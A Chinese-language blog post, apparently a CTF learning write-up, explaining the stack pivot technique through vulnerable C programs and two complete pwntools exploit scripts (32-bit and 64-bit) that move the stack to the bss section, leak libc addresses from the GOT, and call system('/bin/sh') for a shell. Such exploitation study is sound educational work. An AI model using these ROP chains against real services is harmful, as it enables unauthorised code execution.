Stack Pivot

2019-06-30

在HITCON training 2017 看到這題後就一直想學

這算是stack overflow 裡面蠻進階的技巧了

但無奈花了快一個禮拜看training 的wp 還是看不懂

因此在網路上先找一題比較簡單的來入手練習

引用來源:https://medium.com/@ktecv2000/%E7%B7%A9%E8%A1%9D%E5%8D%80%E6%BA%A2%E4%BD%8D%E6%94%BB%E6%93%8A%E4%B9%8B%E4%B8%89-buffer-overflow-123d6ae7236e

感謝大大提供一個簡單易懂的入門例子

training的wp看了快一個禮拜看不懂,這個花一個下午就大概懂了

先付source code

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
// victim : rop.c
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
void nonSecure()
{
char name[16];
printf("What's your name?\n");
gets(name);
printf("Hey %s, you like ROP? I'll give you root!\n", name);
setuid(0);
system("Now_what_you_gonna_do...O_O\n");
}
int main()
{
nonSecure();
return 0;
}

我自己是把他取成pivot.c啦

這題的解題思路就是把name放到我們自訂的bss 區段address就好了

因為題目內的name是在stack裡面,受到ASLR的保護我們不知道他的address

我們先 objdump 他

可以得知我的 gets 輸入的值存在 [rbp-0x10] 的位置

要知道 buffer overflow 不僅可以改 rip 的位置,也可以改 rbp 的位置

我們只要將 rbp 改到一個 static 的地方,那不就能 bypass stack ASLR 了嗎?

這個地方以這個實例我選 bss 段來下手

其實就是照著他做

先把 rbp 移到 rbp 上,overflow 跳到 lea rax, [rbp-0x10] 輸入我們的字串 (/bin/sh), 再跳回main

在第二次輸入的時候直接 overflow 到 call system 的位置並且 pop rdi 下面接存著我們字串的 bss address

exp:

一定有人好奇,為何不能跳 system@PLT 而是跳 call system

我厚著臉皮向 angelboy 請教後才自己 trace 出來

原來在 do_system 時會把 stack 做清空的動作,而現在的 stack frame 就是 bss 段

附上兩張圖片做說明,這個是我把 call_system 改成 system_PLT 後 trace 的結果,這篇其實主要就是說這件事 XD 我自己卡好久了

可以看到這時候我們的 rdi 還是正常的

但跳進 libc 內的 do_system 的時候就把 rdi 弄壞了,所以在吃參數的時候就錯誤而 crash 了

這個要怎麼解呢? 多放幾個 return 讓 /bin/sh 的位址在 system 的 stack frame 以外就好了


這陣子終於把 HITCON 的 lab6 解出來了,這邊用另一種姿勢來解,順便說說stack pivot 的可怕之處

想看網路上找到的解法可以來這裡 搜 lab6

一樣先上題目

1
2
3
4
5
6
7
8
9
10
11
12
13
14
include <stdio.h>

int count = 1337 ;

int main(){
if(count != 1337)
_exit(1);
count++;
char buf[40];
setvbuf(stdout,0,2,0);
puts("Try your best :");
read(0,buf,64);
return ;
}

網路上大部分的解法都是透過兩個 bss address 來進行

這邊讓難度稍微增加一點點,就是只用一個 bss address 進行 leak 與 exploit

stack pivot 只要利用得當,基本上可以只透過一個bss address leak 整個 libc, 面對像 kali 這種比較特規的 libc 很有幫助

解題思路大概是這樣:

overflow 跳到 bss 之後在 bss 進行 read 寫入 puts leak libc address, puts leak 完後的 ret address 設為 read 並且在 bss 寫入 system(“/bin/sh”)

read 執行完後的 ret address 設為 leave_ret, 這時 eip 會跳回 bss 的開頭,也就是system(“/bin/sh”)

exploit code:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
from pwn import *

io = process("./migration")
context.arch = 'i386'
context.terminal = 'bash'
context.endian = 'little'
context.log_level = 'debug'

# prepare

binELF = ELF('./migration')
libc = ELF('./libc.so.6')
bss1 = binELF.bss() + 0x800

puts_plt = binELF.symbols['puts']
read_plt = binELF.symbols['read']
puts_got = binELF.got['puts']
read_got = binELF.got['read']
leave_ret = 0x8048504
pop_ebx_ret = 0x8048586
io.recvline()

offset = 40

payload = flat([''.ljust(offset, '\x90'), bss1, read_plt, leave_ret, 0, bss1, 0x100])

io.send(payload)

time.sleep(0.1)

payload2 = flat([bss1, puts_plt, pop_ebx_ret, puts_got, puts_plt, pop_ebx_ret, read_got, read_plt, leave_ret, 0, bss1, 0x100])

io.send(payload2)

time.sleep(0.1)
raw_data = io.recv()
puts = u32(raw_data[:4])
read = u32(raw_data[5:9])

log.info("puts is 0x%x" %puts)
log.info("read is 0x%x" %read)

system = puts - libc.symbols['puts'] + libc.symbols['system']
binsh = puts - libc.symbols['puts'] + libc.search("/bin/sh").next()
payload3 = p32(system) + 'bbbb' + p32(binsh)
io.send(payload3)

io.interactive()

這樣子做的話就不需要 先把 read 那三個 argv 先 pop 出來再 ret 了,因為我們直接用 leave 移動 esp 到 system


這次再嘗試換個姿勢,也就是把題目改成 64 位元的來玩

因為 read 要三個 argv, 要找到 pop rdi rsi rdx 這三個連續的 opcode 老實說難度有點高,所以在這邊稍微改一下 code

1
2
3
4
5
6
7
8
9
10
11
12
13
14
#include <stdio.h>

int count = 1337 ;

int main(){
if(count != 1337)
_exit(1);
count++;
char buf[40];
setvbuf(stdout,0,2,0);
puts("Try your best :");
gets(buf);
return ;
}

換成 gets 比較容易XD

先附上 exploit code:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
from pwn import *

io = process("./migration64")
context.arch = 'amd64'
context.terminal = 'bash'
context.endian = 'little'
context.log_level = 'debug'

# prepare

binELF = ELF('./migration64')
libc = ELF('./libc.so.6_64')
bss1 = binELF.bss() + 0x800

puts_plt = binELF.symbols['puts']
gets_plt = binELF.symbols['gets']
puts_got = binELF.got['puts']
gets_got = binELF.got['gets']
leave_ret = 0x4011bd
pop_rdi_ret = 0x40121b
offset = 48

io.recvline()

payload = flat([''.ljust(offset, '\x90'), bss1, pop_rdi_ret, bss1, gets_plt, leave_ret])

io.sendline(payload)
time.sleep(0.1)

payload = flat([bss1, pop_rdi_ret, puts_got, puts_plt, pop_rdi_ret, gets_got, puts_plt, pop_rdi_ret, bss1, gets_plt, leave_ret ])
io.sendline(payload)
raw_data = io.recv()

puts = u64(raw_data[:6].ljust(8, "\x00"))
gets = u64(raw_data[7:13].ljust(8, '\x00'))

log.info("puts is 0x%x" %puts)
log.info("gets is 0x%x" %gets)

system = puts - libc.symbols['puts'] + libc.symbols['system']
binsh = puts - libc.symbols['puts'] + libc.search("/bin/sh").next()
time.sleep(0.1)
payload = p64(bss1) + p64(pop_rdi_ret) + p64(binsh) + p64(system)
io.sendline(payload)
io.interactive()

大概提一下幾個需要注意的地方:

因為 gets x64 的 argv 是放在 rdi 裡面,所以不用特別 pop stack 內的值
也因為需要先 pop_rdi 才能 call function, 所以 paylaod 放的順序也要稍微注意一下

再來因為我們改成用 gets 當作輸入,所以就不能用 send 而要用 sendline

最後一個就是 libc address 的長度要記得用 ljust 補滿0, 這樣 u64 才會正常